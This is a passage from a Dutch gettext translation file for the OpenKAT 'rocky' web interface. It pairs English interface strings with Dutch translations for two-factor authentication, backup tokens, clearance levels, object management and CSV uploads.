\"\n\"tokens. Only the backup tokens shown below will be valid.\"\nmsgstr \"\"\n\"Back-uptokens kunnen worden gebruikt wanneer uw primaire en back-\"\n\"uptelefoonnummers niet beschikbaar zijn. De onderstaande back-uptokens \"\n\"kunnen worden gebruikt voor aanmeldingsverificatie. Als u al uw back-\"\n\"uptokens hebt opgebruikt, kunt u een nieuwe set back-uptokens genereren. \"\n\"Alleen de onderstaande back-uptokens zijn geldig.\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Print these tokens and keep them somewhere safe.\"\nmsgstr \"Print deze tokens en bewaar ze op een veilige plek.\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"You don't have any backup codes yet.\"\nmsgstr \"U hebt nog geen back-upcodes.\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Generate Tokens\"\nmsgstr \"Tokens genereren\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Back to Account Security\"\nmsgstr \"Terug naar Accountbeveiliging\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"You are logged in.\"\nmsgstr \"U bent aangemeld.\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Two factor authentication is enabled for your account.\"\nmsgstr \"Twee-stapsverificatie is ingeschakeld voor uw account.\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Two factor authentication is not enabled for your account. Enable it to \"\n\"continue.\"\nmsgstr \"\"\n\"Twee-stapsverificatie is niet ingeschakeld voor uw account. Schakel in om \"\n\"door te gaan.\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Setup two factor authentication\"\nmsgstr \"Twee-stapsverificatie instellen\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Credentials\"\nmsgstr \"Gebruikersgegevens\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Use this form for entering backup tokens for logging in. These tokens have \"\n\"been generated for you to print and keep safe. Please enter one of these \"\n\"backup tokens to login to your account.\"\nmsgstr \"\"\n\"Gebruik dit formulier voor het invoeren van back-uptokens om aan te melden. \"\n\"Deze tokens zijn gegenereerd voor u om af te drukken en veilig te bewaren. \"\n\"Voer een van deze back-uptokens in om aan te melden op uw account.\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"As a last resort, you can use a backup token:\"\nmsgstr \"Of gebruik een back-upcode:\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Use Backup Token\"\nmsgstr \"Back-uptoken gebruiken\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Permission Denied\"\nmsgstr \"Toegang geweigerd\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"\"\n\"The page you requested, enforces users to verify using two-factor \"\n\"authentication for security reasons. You need to enable these security \"\n\"features in order to access this page.\"\nmsgstr \"\"\n\"De pagina die u hebt opgevraagd is alleen beschikbaar met twee-\"\n\"stapsverificatie. Schakel dit in om toegang te krijgen tot deze pagina.\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"Two-factor authentication is not enabled for your account. Enable two-factor \"\n\"authentication for enhanced account security.\"\nmsgstr \"\"\n\"Twee-stapsverificatie is niet ingeschakeld voor uw account. Schakel twee-\"\n\"stapsverificatie in voor betere accountbeveiliging.\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/core/setup.html\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Enable Two-Factor Authentication\"\nmsgstr \"Twee-stapsverificatie inschakelen\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"Add Backup Phone\"\nmsgstr \"Back-uptelefoonnummer toevoegen\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"You'll be adding a backup phone number to your account. This number will be \"\n\"used if your primary method of registration is not available.\"\nmsgstr \"\"\n\"U voegt een back-uptelefoonnummer toe aan uw account. Dit nummer wordt \"\n\"gebruikt als uw primaire registratiemethode niet beschikbaar is.\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"We've sent a token to your phone number. Please enter the token you've \"\n\"received.\"\nmsgstr \"\"\n\"We hebben een token naar uw telefoonnummer gestuurd. Vul de token in die u \"\n\"hebt ontvangen.\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"To start using a token generator, please use your smartphone to scan the QR \"\n\"code below or use the setup key. For example, use GoogleAuthenticator. Then, \"\n\"enter the token generated by the app.\"\nmsgstr \"\"\n\"Scan de QR-code met uw applicatie voor twee-stapsverificatie. Voer \"\n\"vervolgens het token in dat door de app is gegenereerd.\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"QR code\"\nmsgstr \"QR-code\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"Setup key\"\nmsgstr \"Sleutel instellen\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"The secret key is a 32 characters representation of the QR code. There are 2 \"\n\"options to setup the two factor authtentication. You can scan the QR code \"\n\"above or you can insert this key using the secret key option of the \"\n\"authenticator app.\"\nmsgstr \"\"\n\"De geheime sleutel is een weergave van 32 tekens van de QR-code. Er zijn er \"\n\"2 opties om de twee-stapsverificatie in te stellen. U kunt de QR-code \"\n\"hierboven scannen of u kunt deze sleutel invoegen met behulp van de geheime \"\n\"sleuteloptie van de authenticatie-app.\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Congratulations, you've successfully enabled two-factor authentication.\"\nmsgstr \"Gefeliciteerd, u hebt twee-stapsverficatie ingeschakeld.\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Start using OpenKAT\"\nmsgstr \"Start met OpenKAT\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"\"\n\"However, it might happen that you don't have access to your primary token \"\n\"device. To enable account recovery, add a phone number.\"\nmsgstr \"\"\n\"Het kan gebeuren dat u geen toegang hebt tot uw applicatie voor twee-\"\n\"stapssverificatie. Voeg een telefoonnummer toe om accountherstel in te \"\n\"schakelen.\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Add Phone Number\"\nmsgstr \"Telefoonnummer toevoegen\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable Two-factor Authentication\"\nmsgstr \"Twee-stapsverificatie uitschakelen\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"\"\n\"You are about to disable two-factor authentication. This weakens your \"\n\"account security, are you sure?\"\nmsgstr \"\"\n\"U staat op het punt twee-stapsverificatie uit te schakelen. Dit verzwakt uw \"\n\"accountbeveiliging, weet u het zeker?\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Account Security\"\nmsgstr \"Accountbeveiliging\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your token generator.\"\nmsgstr \"Tokens worden gegenereerd door uw tokengenerator.\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"Primary method: %(primary)s\"\nmsgstr \"Primaire methode: %(primary)s\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your YubiKey.\"\nmsgstr \"Tokens worden gegenereerd door uw YubiKey.\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Phone Numbers\"\nmsgstr \"Back-uptelefoonnummers\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If your primary method is not available, we are able to send backup tokens \"\n\"to the phone numbers listed below.\"\nmsgstr \"\"\n\"Als uw primaire methode niet beschikbaar is, kunnen we back-uptokens naar de \"\n\"onderstaande telefoonnummers sturen.\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Unregister\"\nmsgstr \"Uitschrijven\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If you don't have any device with you, you can access your account using \"\n\"backup tokens.\"\nmsgstr \"\"\n\"Als u geen apparaat bij u hebt, kunt u toegang tot uw account krijgen met \"\n\"back-uptokens.\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"You have only one backup token remaining.\"\nmsgid_plural \"You have %(counter)s backup tokens remaining.\"\nmsgstr[0] \"U hebt één back-uptoken over.\"\nmsgstr[1] \"U hebt %(counter)s back-uptokens over.\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Show Codes\"\nmsgstr \"Codes tonen\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Disable Two-Factor Authentication\"\nmsgstr \"Twee-stapsverificatie uitschakelen\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"However we strongly discourage you to do so, you can also disable two-factor \"\n\"authentication for your account.\"\nmsgstr \"\"\n\"We raden u echter ten zeerste af om dit te doen, u kunt ook twee-\"\n\"stapsverificatie voor uw account uitschakelen.\"\n\n#: rocky/templates/two_factor/twilio/sms_message.html\n#, python-format\nmsgid \"Your OTP token is %(token)s\"\nmsgstr \"Uw OTP-token is %(token)s\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"Automate the creation of multiple objects by uploading a CSV file.\"\nmsgstr \"\"\n\"Automatiseer het maken van meerdere objecten door een CSV-bestand te \"\n\"uploaden.\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"These are the criteria for CSV upload:\"\nmsgstr \"Dit zijn de criteria voor CSV-upload:\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"Automate the creation of multiple objects by uploading a raw file.\"\nmsgstr \"\"\n\"Automatiseer het maken van meerdere objecten door een raw-bestand te \"\n\"uploaden.\"\n\n#: rocky/templates/upload_raw.html\n#, fuzzy\nmsgid \"\"\n\"An input OOI can be selected for the normalizer to attach newly yielded OOIs \"\n\"to. If no input OOI was used for the raw file, a placeholder ExternalScan \"\n\"OOI can be used. ExternalScan OOIs can be created from the objects page. \"\n\"When a new version of the raw file is generated, the same ExternalScan OOI \"\n\"should be chosen to ensure that old results are overwritten.\"\nmsgstr \"\"\n\"Om nieuwe OOI’s toe te voegen kan een invoer-OOI worden geselecteerd voor de \"\n\"normalizer. Als er geen invoer-OOI voor het raw-bestand gebruikt wordt, kan \"\n\"een plaatshouder ExternalScan OOI worden gebruikt. ExternalScan OOI’s kunnen \"\n\"op de objectenpagina worden gecreëerd. Als een nieuwe versie van het raw-\"\n\"bestand wordt gegenereerd, moet dezelfde ExternalScan OOI worden gekozen om \"\n\"ervoor te zorgen dat oude resultaten worden overschreven.\"\n\n#: rocky/templates/upload_raw.html rocky/views/upload_raw.py\nmsgid \"Upload raw\"\nmsgstr \"Raw-bestand uploaden\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"Getting raw data failed.\"\nmsgstr \"Het ophalen van onbewerkte gegevens is mislukt.\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"The task does not have any raw data.\"\nmsgstr \"De taak heeft geen raw-gegevens.\"\n\n#: rocky/views/finding_list.py rocky/views/ooi_list.py\nmsgid \"Unknown action.\"\nmsgstr \"Onbekende actie.\"\n\n#: rocky/views/health.py\nmsgid \"Beautified\"\nmsgstr \"Verfraaid\"\n\n#: rocky/views/indemnification_add.py\nmsgid \"Indemnification successfully set.\"\nmsgstr \"Vrijwaringsniveau met succes ingesteld.\"\n\n#: rocky/views/mixins.py\nmsgid \"The selected date is in the future.\"\nmsgstr \"De geselecteerde datum ligt in de toekomst.\"\n\n#: rocky/views/mixins.py\nmsgid \"Can not parse date, falling back to show current date.\"\nmsgstr \"Kan datum niet lezen. Huidige datum wordt gebruikt.\"\n\n#: rocky/views/mixins.py\n#, fuzzy\nmsgid \"You do not have the permission to add items to a dashboard.\"\nmsgstr \"U heeft geen rechten om items toe te voegen aan een dashboard\"\n\n#: rocky/views/mixins.py\n#, fuzzy\nmsgid \"Dashboard item has been added.\"\nmsgstr \"Dashboard-item toegevoegd.\"\n\n#: rocky/views/ooi_add.py\n#, python-format\nmsgid \"Add %(ooi_type)s\"\nmsgstr \"%(ooi_type)s toevoegen\"\n\n#: rocky/views/ooi_detail.py\n#, fuzzy\nmsgid \"\"\n\"Cannot set clearance level. It must be provided and must be a valid number.\"\nmsgstr \"\"\n\"Kan het vrijwaringsniveau niet instellen. Het moet aangegeven worden met een \"\n\"geldig nummer.\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Only Question OOIs can be answered.\"\nmsgstr \"Alleen Question-OOI’s kunnen worden beantwoord.\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Question has been answered.\"\nmsgstr \"De vraag is beantwoord.\"\n\n#: rocky/views/ooi_detail_related_object.py\nmsgid \" (as \"\nmsgstr \" (als \"\n\n#: rocky/views/ooi_findings.py\nmsgid \"Object findings\"\nmsgstr \"Objectbevindingen\"\n\n#: rocky/views/ooi_list.py\nmsgid \"No OOIs selected.\"\nmsgstr \"Geen OOI’s geselecteerd.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance levels to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\"Kon vrijwaringsniveau niet verhogen naar L%s. Vrijwaring niet aanwezig bij \"\n\"organisatie %s.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You were trusted a clearance level \"\n\"of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\"Kan vrijwaringsniveau niet verhogen naar L%s. Aan u is een vrijwaringsniveau \"\n\"toevertrouwd van L%s. Neem contact op met uw beheerder om een hogere \"\n\"vrijwaring te krijgen.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You acknowledged a clearance level \"\n\"of L%s. Please accept the clearance level below to proceed.\"\nmsgstr \"\"\n\"Kan vrijwaringsniveau niet verhogen naar L%s. U hebt een vrijwaringsniveau \"\n\"bevestigd van L%s. Accepteer het vrijwaringsniveau onderaan de pagina om \"\n\"verder te gaan.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while saving clearance levels.\"\nmsgstr \"Er is een fout opgetreden bij het opslaan van vrijwaringsniveaus.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"One of the OOI's doesn't exist\"\nmsgstr \"Een van de OOI’s bestaat niet\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set scan profile to %s for %d OOIs.\"\nmsgstr \"Scanprofiel succesvol ingesteld op %s voor %d OOI's.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while setting clearance levels to inherit.\"\nmsgstr \"\"\n\"Er is een fout opgetreden bij het instellen van vrijwaringsniveaus naar \"\n\"overerven.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"\"\n\"An error occurred while setting clearance levels to inherit: one of the OOIs \"\n\"doesn't exist.\"\nmsgstr \"\"\n\"Er is een fout opgetreden bij het instellen van vrijwaringsniveaus naar \"\n\"overerven: een van de OOI’s bestaat niet.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set %d OOI(s) clearance level to inherit.\"\nmsgstr \"%d OOI(s) vrijwaringsniveau succesvol ingesteld om te overerven.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting oois.\"\nmsgstr \"Er is een fout opgetreden bij het verwijderen van OOI’s.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting OOIs: one of the OOIs doesn't exist.\"\nmsgstr \"\"\n\"Er is een fout opgetreden tijdens het verwijderen van OOI's: een van de \"\n\"OOI's bestaat niet.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Successfully deleted %d ooi(s). Note: Bits can recreate objects \"\n\"automatically.\"\nmsgstr \"\"\n\"%d object(en) met succes verwijderd. Let op: Bits kunnen objecten \"\n\"automatisch weer toevoegen.\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Please select at least one finding.\"\nmsgstr \"Selecteer ten minste één bevinding.\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully unmuted.\"\nmsgstr \"Bevinding(en) met succes dempen opgeheven.\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully muted.\"\nmsgstr \"Bevinding(en) met succes gedempt.\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Tree Visualisation\"\nmsgstr \"Boomvisualisatie\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Graph Visualisation\"\nmsgstr \"Grafiekvisualisatie\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Observed_at: \"\nmsgstr \"Geobserveerd_op: \"\n\n#: rocky/views/ooi_view.py\nmsgid \"OOI types: \"\nmsgstr \"OOI-typen: \"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance level: \"\nmsgstr \"Vrijwaringsniveau: \"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance type: \"\nmsgstr \"Vrijwaringstype: \"\n\n#: rocky/views/ooi_view.py\nmsgid \"Searching for: \"\nmsgstr \"Zoeken naar: \"\n\n#: rocky/views/organization_add.py\nmsgid \"Setup\"\nmsgstr \"Instellingen\"\n\n#: rocky/views/organization_add.py\nmsgid \"Organization added successfully.\"\nmsgstr \"Organisatie met succes toegevoegd.\"\n\n#: rocky/views/organization_add.py\nmsgid \"You are not allowed to add organizations.\"\nmsgstr \"U mag geen organisaties toevoegen.\"\n\n#: rocky/views/organization_edit.py\n#, python-format\nmsgid \"Organization %s successfully updated.\"\nmsgstr \"Organisatie %s met succes bijgewerkt.\"\n\n#: rocky/views/organization_member_add.py\n#, fuzzy\nmsgid \"Add column titles, followed by each object on a new line.\"\nmsgstr \"Voeg kolomtitels toe, gevolgd door elk object op een nieuwe regel\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The columns are: \"\nmsgstr \"De kolommen zijn: \"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Clearance levels should be between -1 and 4.\"\nmsgstr \"Vrijwaringsniveau moet tussen -1 en 4 liggen.\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Account type can be one of: \"\nmsgstr \"Accounttype kan een zijn van: \"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Member added successfully.\"\nmsgstr \"Lid met succes toegevoegd.\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The csv file is missing required columns\"\nmsgstr \"Het CSV-bestand mist vereiste kolommen\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid account type: '{account_type}'\"\nmsgstr \"Ongeldig accounttype: ‘{account_type}’\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid data for: '{email}'\"\nmsgstr \"Ongeldige gegevens voor: ‘{email}’\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid email address: '{email}'\"\nmsgstr \"Ongeldig e-mailadres: ‘{email}’\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Successfully processed users from csv.\"\nmsgstr \"Met succes verwerkte gebruikers uit CSV.\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Error parsing the csv file. Please verify its contents.\"\nmsgstr \"Fout bij het ontleden van het CSV-bestand. Controleer de inhoud.\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"Member %s successfully updated.\"\nmsgstr \"Lid %s met succes bijgewerkt.\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"\"\n\"The updated trusted clearance level of L%s is lower then the member's \"\n\"acknowledged clearance level of L%s. This member only has clearance for \"\n\"level L%s. For this reason the acknowledged clearance level has been set at \"\n\"the same level as trusted clearance level.\"\nmsgstr \"\"\n\"Het bijgewerkte vertrouwde vrijwaringsniveau van L%s is lager dan dat van \"\n\"het lid erkende vrijwaringsniveau van L%s. Dit lid heeft alleen toestemming \"\n\"voor niveau L%s. Om deze reden is het erkende vrijwaringsniveau ingesteld op \"\n\"hetzelfde niveau als vertrouwd vrijwaringsniveau.\"\n\n#: rocky/views/organization_member_edit.py\nmsgid \"\"\n\"You have trusted this member with a higher trusted level than member \"\n\"acknowledged. Member must first accept this level to use it.\"\nmsgstr \"\"\n\"U hebt dit lid vertrouwd met een hoger vrijwaringsniveau dan dit lid heeft \"\n\"erkend. Het lid moet dit niveau eerst accepteren om het te gebruiken.\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Blocked member %s successfully.\"\nmsgstr \"Lid %s met succes geblokkeerd.\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Unblocked member %s successfully.\"\nmsgstr \"Lid %s met succes gedeblokkeerd.\"\n\n#: rocky/views/organization_settings.py\n#, python-brace-format\nmsgid \"Recalculated {number_of_bits} bits. Duration: {duration}\"\nmsgstr \"{number_of_bits} bits herberekend. Duur: {duration}\"\n\n#: rocky/views/page_actions.py\nmsgid \"Could not process your request, action required.\"\nmsgstr \"Kon je verzoek niet verwerken, actie nodig.\"\n\n#: rocky/views/scan_profile.py\nmsgid \"\"\n\"Cannot set clearance level. The clearance type must be inherited or declared.\"\nmsgstr \"\"\n\"Het vrijwaringsniveau kan niet worden ingesteld. Het vrijwaringstype moet \"\n\"worden geërfd of verklaard.\"\n\n#: rocky/views/scans.py\nmsgid \"Scans\"\nmsgstr \"Scans\"\n\n#: rocky/views/scheduler.py\nmsgid \"Your report has been scheduled.\"\nmsgstr \"Je rapport is ingepland.\"\n\n#: rocky/views/scheduler.py\nmsgid \"\"\n\"Your task is scheduled and will soon be started in the background. Results \"\n\"will be added to the object list when they are in. It may take some time, a \"\n\"refresh of the page may be needed to show the results.\"\nmsgstr \"\"\n\"Uw taak is gepland en zal binnenkort op de achtergrond beginnen. Resultaten \"\n\"worden toegevoegd aan de objectenlijst als ze binnen zijn. Het kan even \"\n\"duren, een verversing van de pagina is nodig om nieuwe resultaten te tonen.\"\n\n#: rocky/views/tasks.py\n#, python-brace-format\nmsgid \"Fetching tasks failed: no connection with scheduler: {error}\"\nmsgstr \"Taken ophalen mislukt: geen verbinding met planner: {error}\"\n\n#: rocky/views/tasks.py\nmsgid \"All Tasks\"\nmsgstr \"Alle taken\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Add column titles. Followed by each object on a new line.\"\nmsgstr \"Voeg kolomtitels toe. Gevolgd door elk object op een nieuwe regel.\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For URL object type, a column 'raw' with URL values is required, starting \"\n\"with http:// or https://, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\"Voor het type URL-object is een kolom ‘raw’ met URL-waarden vereist, \"\n\"beginnend met http:// of https://. Optioneel wordt een tweede kolom \"\n\"‘network’ ondersteund. \"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For Hostname object type, a column with 'name' values is required, \"\n\"optionally a second column 'network' is supported \"\nmsgstr \"\"\n\"Voor het objecttype Hostname is een kolom met ‘naam’-waarden vereist, \"\n\"optioneel wordt een tweede kolom ‘netwerk’ ondersteund \"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For IPAddressV4 and IPAddressV6 object types, a column of 'address' is \"\n\"required, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\"Voor IPAddressV4- en IPAddressV6-objecttypes is een kolom ‘adres’ vereist, \"\n\"optioneel wordt een tweede kolom ‘netwerk’ ondersteund \"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"Clearance levels can be controlled by a column 'clearance' taking numerical \"\n\"values 0, 1, 2, 3, and 4 for the corresponding clearance level (other values \"\n\"are ignored) \"\nmsgstr \"\"\n\"Vrijwaringsniveaus kunnen gecontroleerd worden door een column ‘clearance’ \"\n\"op te nemen met numerieke waarden 0, 1, 2, 3, en 4 voor het gewenste niveau \"\n\"(andere waarden worden genegeerd) \"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) could not be created for row number(s): \"\nmsgstr \"Object(en) konden niet worden aangemaakt voor rijnummer(s): \"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) successfully added.\"\nmsgstr \"Objecten met succes toegevoegd.\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: status code %d\"\nmsgstr \"Raw-bestand kan niet naar Bytes worden geüpload: statuscode %d\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: %s\"\nmsgstr \"Raw-bestand kan niet naar Bytes worden geüpload: %s\"\n\n#: rocky/views/upload_raw.py\nmsgid \"Raw file successfully added.\"\nmsgstr \"Raw-bestand met succes toegevoegd.\"\n\n#~ msgid \"Clearance level has been set\"\n#~ msgstr \"Vrijwaringsniveau is ingesteld\"\n\n#~ msgid \"Add URL\"\n#~ msgstr \"URL toevoegen\"\n\n#~ msgid \"\"\n#~ \"Boefjes that has a scan level below or equal to the clearance level, is \"\n#~ \"permitted to scan an object.\"\n#~ msgstr \"\"\n#~ \"Boefje die een scanniveau heeft onder of gelijk aan het \"\n#~ \"vrijwaringsniveau, mag een object scannen.\"\n\n#~ msgid \"Delete object(s)\"\n#~ msgstr \"Object(en) verwijderen\"\n\n#, fuzzy\n#~ msgid \"Declared clearance level explanation\"\n#~ msgstr \"Uitleg gedeclareerd vrijwaringsniveau\"\n\n#~ msgid \"Declared:\"\n#~ msgstr \"Verklaard:\"\n\n#, fuzzy, python-format\n#~ msgid \"\"\n#~ \"This means that this object will be scanned by Boefjes with scan level \"\n#~ \"%(scan_level)s and lower. Setting the clearance level from “declared” to \"\n#~ \"“inherit” means that this object will inherit its level from neighbouring \"\n#~ \"objects. This means that the clearance level might stay the same, \"\n#~ \"increase, or decrease depending on other declared clearance levels. \"\n#~ \"Clearance levels of objects that inherit from this clearance level will \"\n#~ \"also be recalculated.\"\n#~ msgstr \"\"\n#~ \"Dit betekent dat dit object wordt gescand door Boefjes met een \"\n#~ \"vrijwaringsniveau (scan-level) %(scan_level)s en lager. Het wijzingen van \"\n#~ \"het vrijwaringsniveau van 'Verklaard' naar \\\"Geërfd\\\" betekent dat dit \"\n#~ \"object het vrijwaringsniveau erft van afgeleide (naastgelegen) objecten. \"\n#~ \"Dit betekent dat het vrijwaringsniveau hetzelfde, verhoogd, of verminderd \"\n#~ \"wordt, afhankelijk van andere vrijwaringsniveau. Vrijwaringsniveaus van \"\n#~ \"objecten die van dit vrijwaringsniveau erven, worden herberekend.\"\n\n#~ msgid \"Set clearance level to inherit\"\n#~ msgstr \"Vrijwaringsniveau op overerving instellen\"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"This object has a clearance level of \\\"L0\\\". This means that this object \"\n#~ \"will not be scanned by any Boefje until that Boefje is run manually for \"\n#~ \"this object again. Objects with a clearance level higher than \\\"L0\\\" will \"\n#~ \"be scanned automatically by Boefjes with corresponding scan levels.\"\n#~ msgstr \"\"\n#~ \"Dit object heeft een vrijwaringsniveau \\\"L0\\\". Dit betekent dat dit \"\n#~ \"object niet wordt gescand door boefjes tenzij een boefje handmatig \"\n#~ \"opnieuw wordt gerund voor dit object. Objecten met een vrijwaringsniveau \"\n#~ \"hoger dan \\\"L0\\\" worden automatisch gescand door Boefjes met een \"\n#~ \"gelijkwaardig vrijwaringsniveau.\"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"You don't have permissions to set clearance level. Contact your \"\n#~ \"administrator.\"\n#~ msgstr \"\"\n#~ \"U heeft geen rechten om een vrijwaringsniveau in te stellen. Neem contact \"\n#~ \"op met de beheerder.\"\n\n#~ msgid \"Set clearance level for:\"\n#~ msgstr \"Vrijwaringsniveau instellen voor:\"\n\n#~ msgid \"Setting the scan level from \\\\\"\n#~ msgstr \"Het vrijwaringsniveau instellen van \\\\\"\n\n#~ msgid \"You are about to set the clearance level from \\\\\"\n#~ msgstr \"U staat op het punt het vrijwaringsniveau in te stellen van \\\\\"\n\n#~ msgid \"Yes, set to inherit\"\n#~ msgstr \"Ja, instellen\"\n\n#, python-format\n#~ msgid \"Successfully set scan profile to %s for %d oois.\"\n#~ msgstr \"Vrijwaringsniveau met succes ingesteld op %s voor %d objecten.\"\n\n#, python-format\n#~ msgid \"Successfully set %d ooi(s) clearance level to inherit.\"\n#~ msgstr \"%d OOI(’s) vrijwaringsniveau naar overerven met succes ingesteld.\"\n\n#~ msgid \"\"\n#~ \"An error occurred while deleting oois: one of the OOIs doesn't exist.\"\n#~ msgstr \"\"\n#~ \"Er is een fout opgetreden bij het verwijderen van OOI’s: een van de OOI’s \"\n#~ \"bestaat niet.\"\n\n#, python-brace-format\n#~ msgid \"Can not reset scan level. Scan level of {ooi_name} not declared\"\n#~ msgstr \"\"\n#~ \"Kan het scanniveau niet opnieuw instellen. Scanniveau van {ooi_name} is \"\n#~ \"niet gedeclareerd\"\n\n#~ msgid \"The Email must be set\"\n#~ msgstr \"Het e-mailadres moet worden ingevuld\"\n\n#~ msgid \"E-mail address\"\n#~ msgstr \"E-mailadres\"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"You don't have any clearance to scan objects. <br> Get in contact with \"\n#~ \"the admin to give you the necessary clearance level.\"\n#~ msgstr \"\"\n#~ \"U hebt geen vrijwaring om objecten te scannen. <br> Neem contact op met \"\n#~ \"de beheerder om de juiste vrijwaring te verkrijgen.\"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        On this page you can see an overview of the \"\n#~ \"dashboards for all organizations.\\n\"\n#~ \"                        **More context can be written here**\\n\"\n#~ \"                    \"\n#~ msgstr 